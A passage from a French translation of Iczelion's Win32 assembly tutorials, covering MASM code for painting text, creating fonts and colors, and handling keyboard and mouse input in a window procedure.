invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start

Analyse:

Le code dans sa grande majorité est le même que celui de l'exemple du Tutorial 3. J'expliquerai donc seulement les changements importants.

LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT

Voici les variables locales qui sont employées par des fonctions du GDI dans notre section WM_PAINT. 'Hdc' est employé pour stocker l'handle du contexte de dispositif renvoyé après l'appel de la fonction BeginPaint. 'ps' est une structure de PAINTSTRUCT. Normalement ce n'est pas vous qui donnez une valeur à ps. On le passe à la fonction BeginPaint et Windows lui donne la valeur appropriée. De la même façon, vous passez 'ps' à la fonction EndPaint quand vous finissez de repeindre le secteur client. 'rect' est une structure rect définie comme suit :

RECT Struct
left LONG ?
top LONG ?
right LONG ?
bottom LONG ?
RECT ends
Left et top sont les coordonnées du coin supérieur gauche d'un rectangle Right and bottom sont les coordonnées du coin inférieur droit. Une chose à se souvenir : l'origine des axes x-y est au coin supérieur gauche du secteur client. Donc le point y=10 est AU-DESSOUS du point y=0.

invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps

En réponse au message WM_PAINT, vous appelez BeginPaint avec la structure PAINTSTRUCT non initialisée et l'handle de la fenêtre que vous souhaitez peindre, comme paramètres. Après un appel couronné de succès, eax contient l'Handle du contexte de dispositif. Ensuite vous appelez GetClientRect pour retrouver la dimension du secteur client. La dimension est renvoyée dans la variable rect que vous passez à DrawText comme un de ses paramètres. La syntaxe de DrawText est :

DrawText proto hdc:HDC, lpString:DWORD, nCount:DWORD, lpRect:DWORD, uFormat:DWORD

DrawText est une production de texte de haut niveau créé par une fonction API. Il manipule quelques renseignements peu coutumiers tels que le 'word wrap' (l'enveloppe autour des mots), ou le 'centering' (l'allignement au centre) etc… que vous pourriez appliquez sur le texte que vous souhaitez peindre. Son équivalent de bas niveau, TextOut, sera examiné dans le Tutorial suivant. DrawText définit un texte pour qu'il loge dans les limites d'un rectangle. Il emploie la fonte (la taille, la police) actuellement choisie, la couleur et le fond (dans le contexte de dispositif) pour dessiner le texte. Les lignes sont encadrées pour rester dans les limites du rectangle. Il rend la hauteur du texte produit dans les unités du dispositif, qui dans notre cas sont en pixels. Regardons de plus près ces paramètres :

    hdc est l'handle du contexte de dispositif
    lpString est le pointer de la chaîne de caractères que vous voulez dessiner dans le rectangle. Cette chaîne de caractères doit être terminée par un NULL (0) sinon avec l'autre méthode vous devez spécifier sa longueur dans le paramètre suivant, nCount.
    nCount est le nombre de caractères à afficher. Si la chaîne de caractères est terminée par un NULL (cas précédent), nCount doit être mis à -1. Autrement nCount doit contenir le nombre de caractères de la chaîne que vous voulez dessiner.
    lpRect est le pointer du rectangle (de l'objet de type RECT) que vous voulez dessiner contenant la chaîne de caractères. Notez que ce rectangle est aussi un rectangle de coupure, c'est-à-dire que vous ne pouvez pas dessiner le texte à l'extérieur de ce rectangle.
    uFormat est la valeur qui indique comment la chaîne de caractère est insérée dans le rectangle. Nous employons trois valeurs combinées par l'opérateur "or" :
    • DT_SINGLELINE indique une simple (une unique)ligne de texte.
    • DT_CENTER centre le texte horizontallement.
    • DT_VCENTER centre le texte verticalement. Il doit être employé avec DT_SINGLELINE.
Après que vous ayez fini de repeindre le secteur client, vous devez appeler la fonction EndPaint pour libérer l'handle du contexte de dispositif.
Voilà. Nous pouvons récapituler les points importants:
  • On appelle la paire BeginPaint - EndPaint en réponse au message WM_PAINT.
  • Faites tout ce que vous voulez dans le secteur client entre les appels BeginPaint et EndPaint.
  • Si vous voulez repeindre votre secteur client en réponse à d'autres messages, vous avez deux choix :
    (Si il y a une communication entre l'ordi et vous et que vous n'êtes pas en mode texte mais en mode Painting, vous avez deux choix)
    • Employez la paire GetDC - ReleaseDC et faîtes votre 'painting' entre ces 2 appels.
    • Appelez InvalidateRect ou UpdateWindow; pour préserver le secteur client entier de toute écriture, forçant ainsi Windows à renvoyer le message WM_PAINT dans la file d'attente de message de votre fenêtre et faites votre peinture dans la section WM_PAINT.
[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 5: More about Text

Tutorial 5: Encore plus
A propos des Textes

Allons plus loin avec les attributs de texte, c'est-à-dire. La fonte (Fonte = Assortissement complet de caractères de même type)et la couleur.

Downloadez le fichier en exemple ici.

Théorie:

Le système de couleur de Windows est basé sur le système RGB, R=red, G=Green, B=Blue. Si vous souhaitez définir une couleur dans Windows, vous devez exprimer votre couleur recherchée en combinant ces trois couleurs principales. Chaque plage de couleur (R,G, ou B) a une gamme de 0 à 255 (valeur exprimée en octet). Par exemple, si vous voulez la couleur rouge pur, vous devez employer 255,0,0. Ou si vous voulez la couleur blanc pur, vous devez employer 255,255,255. Vous verrez en expérimentant, qu'obtenir la couleur dont vous avez besoin est très difficile avec ce système puisque vous devez avoir un bon 'felling' pour mélanger les couleurs correspondantes.
Pour la couleur du texte et du fond, vous employez SetTextColor et SetBkColor, tous deux exigent l'handle du contexte de dispositif et une valeur RGB sur 32 bits. La structure de la valeur 32 bits RGB est définie ainsi :

RGB_value struct
unused db 0
blue db ?
green db ?
red db ?
RGB_value ends

Notez que le premier octet n'est pas utilisé et doit être à zéro. L'ordre des trois octets restant est inversé, il s'agit du Bleu, vert, rouge (et non pas RGB). Cependant, nous n'emploierons pas cette structure puisque elle est encombrante à initialiser et à employer. Nous créerons une macro à la place. La macro recevra trois paramètres : les valeurs rouges, vertes et bleues. Ceci produira la valeur RGB désirée, et le stockera sur 32 bits dans eax. La macro est la suivante :

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

Vous pouvez mettre cette macro dans le fichier INCLUDE pour une utilisation future.
Vous pouvez "créer" une fonte en appelant CreateFont ou CreateFontIndirect. La différence entre ces deux fonctions est que CreateFontIndirect reçoit seulement un paramètre : 'un indicateur logique sur la structure de la fonte', à savoir : LOGFONT. CreateFontIndirect est le plus flexible de deux en particulier si vos programmes ont besoin de changer fréquemment de fontes. Cependant, dans notre exemple, nous "créerons" seulement une fonte pour la démonstration, nous échapperons donc à CreateFont. Après l'appel à CreateFont, il renverra l'handle à une fonte que vous devez choisir dans le contexte de dispositif. Après cela, chaque texte affiché par la fonction API (Paint) emploiera la fonte que nous avons choisie dans le contexte de dispositif.

Contenu:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
TestString db "Win32 assembly is great and easy!",0
FontName db "script",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
nbsp; WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL hfont:HFONT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName
invoke SelectObject, hdc, eax
mov hfont,eax
RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax
invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString
invoke SelectObject,hdc, hfont
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

Analyse:

invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName

CreateFont crée une fonte logique(mélangée RGB) qui est la couleur la plus proche des paramètres sélectionnés et des données de fonte disponibles. Cette fonction a plus de paramètres qu'aucune autre fonction de Windows. Il renvoie l'handle de la fonte logique qui doit être utilisé par la fonction SelectObject. Nous allons examiner ces paramètres en détail.

CreateFont proto nHeight:DWORD,\
nWidth:DWORD,\
nEscapement:DWORD,\
nOrientation:DWORD,\
nWeight:DWORD,\
cItalic:DWORD,\
cUnderline:DWORD,\
cStrikeOut:DWORD,\
cCharSet:DWORD,\
cOutputPrecision:DWORD,\
cClipPrecision:DWORD,\
cQuality:DWORD,\
cPitchAndFamily:DWORD,\
lpFacename:DWORD

nHeight est la hauteur désirée des caractères. On prend 0 par défaut pour utiliser la taille moyenne.
nWidth est la largeur désirée des caractères. Normalement cette valeur doit être 0,ce qui permet à Windows de faire correspondre la largeur à la hauteur. Cependant, dans notre exemple, la largeur par défaut fait que les caractères sembles difficile à lire, donc on emploiera la largeur 16 à la place de cela.
nEscapement Sert à spécifier l'inclinaison des caractères qui suivent cette instruction. On compte en dixième de degré. Normalement, cette valeur est à 0. On la met à 900 pour avoir tous les caractères va vers le haut, à 1800 pour écrire vers l'arrière, ou 2700 pour écrire chaque caractère du haut vers le bas.
nOrientation Indique de combien doivent être tournés les caractères (en dixième de degré). 900 pour avoir tous les caractères couchés tournés vers le haut, 1800 pour le contraire, etc.
nWeight Donne l'épaisseur de chaque caractère. Windows définit les tailles suivantes :

    FW_DONTCARE equ 0
    FW_THIN equ 100
    FW_EXTRALIGHT equ 200
    FW_ULTRALIGHT equ 200
    FW_LIGHT equ 300
    FW_NORMAL equ 400
    FW_REGULAR equ 400
    FW_MEDIUM equ 500
    FW_SEMIBOLD equ 600
    FW_DEMIBOLD equ 600
    FW_BOLD equ 700
    FW_EXTRABOLD equ 800
    FW_ULTRABOLD equ 800
    FW_HEAVY equ 900
    FW_BLACK equ 900
cItalic 0 pour normal, une autre valeur pour caractères italiques.
cUnderline 0 pour normal, une autre valeur pour les caractères soulignés.
cStrikeOut 0 pour normal, une autre valeur pour des caractères (barrés) avec une ligne par le centre.
cCharSet C'est le jeu de caractères de la fonte (ex : ARIAL). Ce doit normalement être OEM_CHARSET, ce qui permet à Windows de choisir la fonte.
cOutputPrecision Indique à quel point la fonte choisie doit être proche des caractéristiques que nous voulons. Doit normalement on prend OUT_DEFAULT_PRECIS par défaut.
cClipPrecision Indique la précision de la coupure. La coupure c'est ce qui définit les bords de la zone d'écriture. Le texte sera coupé en arrivant près des bords et cette zone de coupure peut être plus ou moins étendue dans l'intérieur du secteur client. Vous pouvez utiliser la valeur CLIP_DEFAULT_PRECIS qui définit le comportement de coupure par défaut.
cQuality Indique la qualité de production. La qualité de production définit précisément comment le GDI doit essayer de calquer au mieux les attributs de la fonte logique à ceux d'une fonte physique réelle. Il y a trois choix : DEFAULT_QUALITY, PROOF_QUALITY et DRAFT_QUALITY.
cPitchAndFamily Spécifie la hauteur et la type de fonte. Vous devez combiner ces 2 valeurs avec l'opérateur "or".
lpFacename C'est un NULL qui indique la police de caractères de la fonte.

La description ci-dessus n'est en aucun cas complète. Vous devez attribuer à votre API Win32 les références pour plus de détails.

invoke SelectObject, hdc, eax
mov hfont,eax

Après avoir obtenu l' handle de la fonte logique, nous devons l'employer pour choisir la fonte dans le contexte de dispositif en appelant SelectObject. SelectObject met les nouveaux objets du GDI tels que les stylos, les brosses et les fontes dans le contexte de dispositif pour être employés par des fonctions du GDI. Il renvoie l' handle (de l'objet à replacé) que nous devons sauvegarder pour de futures appels de la fonction SelectObject. Après l'appel SelectObject, n'importe quelle fonction de production de texte emploiera la fonte que nous venons juste de choisir dans le contexte de dispositif.

RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax

Employez la macro RGB pour créer une valeur RGB sur 32 bits pour être employée par SetColorText et SetBkColor.

invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString

Appelez la fonction TextOut pour dessiner le texte sur le secteur client. Le texte sera dans la fonte et la couleur que nous avons spécifié précédemment.

invoke SelectObject,hdc, hfont

Quand on as fini de se servir de cette fonte, on doit rétablir l'ancienne fonte dans le contexte de dispositif. Vous devez toujours rétablir l'objet que vous avez remplacé dans le contexte de dispositif.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 6: Keyboard Input

Tutorial 6: Les Entrées Clavier

Nous allons voir comment un programme Windows traite les entrées clavier.

Downloadez le fichier en example ici.

Théorie:

Puisque normalement il y a seulement un clavier pour chaque PC, tous les programmes Windows en action doivent le partager entre eux. Windows est responsable de l'envoie des frappes de touches vers la bonne fenêtre qui attend ces entrées.
Bien qu'il puisse y avoir plusieurs fenêtres sur l'écran, seule une d'entre elles a temporairement la possibilité de traiter les entrées clavier. La fenêtre qui traite les entrées est la seule qui peut recevoir des frappes de touches. Vous pouvez différencier la fenêtre qui traite les entrées des autres fenêtres en regardant la barre de titre. La barre de titre de cette fenêtre est activée.
En réalité, il y a deux principaux types de messages pour le clavier, selon votre vision du clavier. Vous pouvez voir un clavier comme un ensemble de touches. Dans ce cas, si vous pressez une touche, Windows envoie le message WM_KEYDOWN à la fenêtre qui traite les entrées clavier, signifiant ainsi qu'une touche a été enfoncée. Quand vous relâchez cette touche, Windows envoie le message WM_KEYUP. Vous traitez une touche de la même manière qu'un bouton. L'autre façon de voir le clavier consiste en ce que c'est un dispositif d'entrée de caractères. Quand vous appuyez sur la touche "a", Windows envoie un message WM_CHAR à la fenêtre qui traite les entrées, disant ainsi que l'utilisateur envoie le caractère "a". En fait, Windows envoie les messages WM_KEYDOWN et WM_KEYUP à la fenêtre qui traite les entrées et ces messages seront traduis en messages WM_CHAR par l'appel de TranslateMessage. La procédure qui s'occupe du fonctionnement de votre fenêtre peut décider de traiter les trois messages ou bien seulement les messages auxquels vous vous intéressez. La plupart du temps, vous pouvez ignorer WM_KEYDOWN et WM_KEYUP puisque la fonction TranslateMessage appelle la boucle de message qui traduit les messages WM_KEYDOWN et WM_KEYUP en message WM_CHAR. Nous nous concentrerons donc uniquement sur WM_CHAR dans ce Tutorial.

Example:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
char WPARAM 20h ; Le caractère que le programme reçoit du clavier.
; 20h est la valeur pour obtenir un espace.
; Ainsi rien ne sera affiché à l'écran au moment de son ouverture.

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke TextOut,hdc,0,0,ADDR char,1
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

char WPARAM 20h ; Le caractère que le programme reçoit du clavier

C'est la variable qui stockera le caractère envoyé par le clavier. Puisque le caractère est envoyé dans le paramètre WPARAM (appartenant à la procédure de fenêtre). La valeur initiale de WPARAM est 20h pour afficher un 'espace' au moment où notre fenêtre régénère son secteur client la toute première fois, quand il n'y a aucune entrée clavier. Donc au commencement, nous voulons afficher 'espace'.

.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE

Ceci a été rajouté à la procédure de fenêtre pour manipuler le message WM_CHAR. Il met seulement le caractère dans la variable nommée "char" et appelle ensuite InvalidateRect. InvalidateRect fait apparaître le 'rectangle invalide' dans le secteur client et force ainsi Windows à envoyer le message WM_PAINT à la procédure de fenêtre. Sa syntaxe est la suivante :

InvalidateRect proto hWnd:HWND,\
lpRect:DWORD,\
bErase:DWORD

lpRect est un indicateur sur le rectangle qui se trouve dans le secteur client que nous voulons déclarer comme étant invalide. Si ce paramètre est nul, le secteur client entier deviendra invalide.
bErase est un drapeau (un flag) indiquant à Windows s'il a besoin d'effacer le fond (background). Si ce drapeau est VRAI, alors Windows effacera le background du rectangle invalide dès que BeginPaint sera appelé.

Ainsi la stratégie que nous avons employé ici est que : nous stockons toute l'information nécessaire touchant à la peinture du secteur client et fabriquons ensuite le message WM_PAINT pour repeindre le secteur client. Bien sûr, les codes dans la section WM_PAINT doivent savoir à l'avance ce que l'on attend d'eux. On pourrait croire qu'on tourne en rond mais c'est la méthode utilisée par Windows.
En réalité nous pouvons repeindre (réactualiser) le secteur client pendant le traitement du message WM_CHAR en appelant la paire GetDC - ReleaseDC. A ce niveau, il n'y a aucun problème. Mais ça commence à être intéressant quand notre fenêtre a besoin de repeindre son secteur client. Puisque les codes qui peignent (affichent) le caractère sont dans la section WM_CHAR, la procédure de fenêtre ne sera plus capable de repeindre notre caractère sur le secteur client. Donc la ligne suivante sert à mettre toutes les données et les codes nécessaires à peinture dans WM_PAINT. Vous pouvez envoyer le message WM_PAINT n'importe où dans votre code dès que vous voulez repeindre le secteur client.

invoke TextOut,hdc,0,0,ADDR char,1

Quand InvalidateRect est appelé, il envoie un message WM_PAINT à la procédure de fenêtre en retour. Donc les codes dans la section WM_PAINT sont appelés. Il appelle BeginPaint comme d'habitude pour obtenir l'handle du contexte de dispositif et appelle ensuite TextOut qui dessine notre caractère dans le secteur de client à x=0, y=0. Quand vous exécutez le programme et appuyez sur une touche, vous verrez que le caractère se répercute dans le coin supérieur gauche de la fenêtre. Et quand la fenêtre est rétrécie au maximum puis réagrandie de nouveau, le caractère est toujours présent puisque tous les codes et toutes les données essentielles pour repeindre sont tous réunis dans la section WM_PAINT.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 7: Mouse Input

Tutorial 7: Les entrées Souris

Nous allons voir comment recevoir et répondre aux entrées souris dans notre procédure de fenêtre. Le programme d'exemple contrôlera les cliques gauche de la souris et affichera un texte sur le secteur client aux coordonnées même de la souris.

Downloadez le fichier en example ici.

Théorie:

Comme pour les entrées clavier, Windows détecte les activités de la souris dépendantes de chaque fenêtre. Ici notre activité portera uniquement sur le clique gauche et sur le mouvement du curseur de la souris dans la fenêtre. À la différence des entrées clavier qui sont adressés uniquement à la fenêtre qui est activée, les messages de la souris sont envoyés à n'importe quelle fenêtre (active ou non) du moment que la souris soit placée dessus. En plus, il existe aussi des 'messages souris' adressés au secteur non-client. Mais la plupart du temps, nous pouvons les ignorer sans s'en soucier. On peut se concentrer pleinement sur les messages touchant au secteur client.
Il y a deux messages pour chaque bouton de la souris : WM_LBUTTONDOWN, WM_RBUTTONDOWN et WM_LBUTTONUP, WM_RBUTTONUP. Pour une souris avec trois boutons, il y a aussi WM_MBUTTONDOWN et WM_MBUTTONUP. Pour le déplacement du curseur de souris sur le secteur client, Windows envoie le message WM_MOUSEMOVE à la fenêtre qui se trouve sous le curseur.
Une fenêtre peut recevoir des messages de double-clic, WM_LBUTTONDBCLK ou WM_RBUTTONDBCLK, si et seulement si sa classe de fenêtre obtient le drapeau (flag) de style CS_DBLCLKS, sinon la fenêtre ne recevra seulement qu'une série de messages disant que les boutons de souris on étés pressés (Button Up, Button Down).
Pour tous ces messages, la valeur de lParam contient (sera) la position de la souris. On travaille en 32 Bit donc sur des doubles mots. Le mot de poids faible sera la coordonnée X et le mot de poids fort sera la coordonnée Y à partir du coin supérieur gauche du secteur client de la fenêtre. WParam indique l'état des boutons de la souris, et des touches Shift et Ctrl.

Example:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MouseClick db 0 ; 0=pas encore de click

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hitpoint POINT <>

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE

La procédure de fenêtre attend qu'on clique sur le bouton gauche de la souris. Quand il reçoit WM_LBUTTONDOWN, lParam prend la valeur de la coordonnée du curseur de la souris dans le secteur client. Il sauvegarde la coordonnée dans une variable de type POINT qui est défini comme ceci:

POINT STRUCT
x dd ?
y dd ?
POINT ENDS

et le 'flag' qui contrôle l'état de MouseClick, est mis à TRUE (VRAI), signifiant ainsi qu'il y a au moins le bouton gauche de la souris qu'on peut cliquer sur le secteur client.

mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax

Puisque la coordonnée X est le mot de poids faible du double mot lParam et que les 2 membres qui forment la structure du POINT sont d'une taille de 32 bits, nous devons mettre la partie haute de 'eax' à 0 avant le stockage de celle-ci.

shr eax,16
mov hitpoint.y,eax

Puisque la coordonnée Y est le mot de poids fort du double mot lParam, nous devons mettre la partie basse de 'eax' à 0 avant le stockage de celle-ci. Nous pouvons faire ça en déplaçant 16bits de eax vers la droit.
Après le stockage de la position de la souris, nous mettons le flag contrôlant l'état de MouseClick à TRUE (VRAI) pour que le code de la section WM_PAINT sache qu'il y a au moins un clique effectué sur le secteur client. Donc il peut dessiner la chaîne de caractère à la position de la souris. Ensuite nous appelons la fonction InvalidateRect pour forcer la fenêtre à repeindre la totalité de son secteur client.

.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF

Le code de la section WM_PAINT (celui qui sert à repeindre le secteur client de votre fenêtre) doit vérifier si MouseClick est vrai, dès que la fenêtre a été créée. Au tout début il a reçu un message WM_PAINT, pour lequel il n'y avait aucun clique de souris, ainsi il ne doit pas dessiner la chaîne de caractère dans le secteur client. Nous initialisons donc MouseClick à FALSE (FAUX), mais changeons sa valeur à TRUE (VRAI) uniquement quand advient un réel clique de souris.
Si au moins un clique de souris arrive, il dessine la chaîne de caractère sur le secteur client à la position de la souris. Notez qu'il appelle 'lstrlen' pour obtenir la longueur de la chaîne à afficher et renvoie la longueur comme dernier paramètre de la fonction TextOut.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 8: Menu

Tutorial 8: Le Menu

Dans ce tutorial, nous allons apprendre comment incorporer un menu à notre fenêtre.
Downloadez l'example 1 et l'example2.

Theorie:

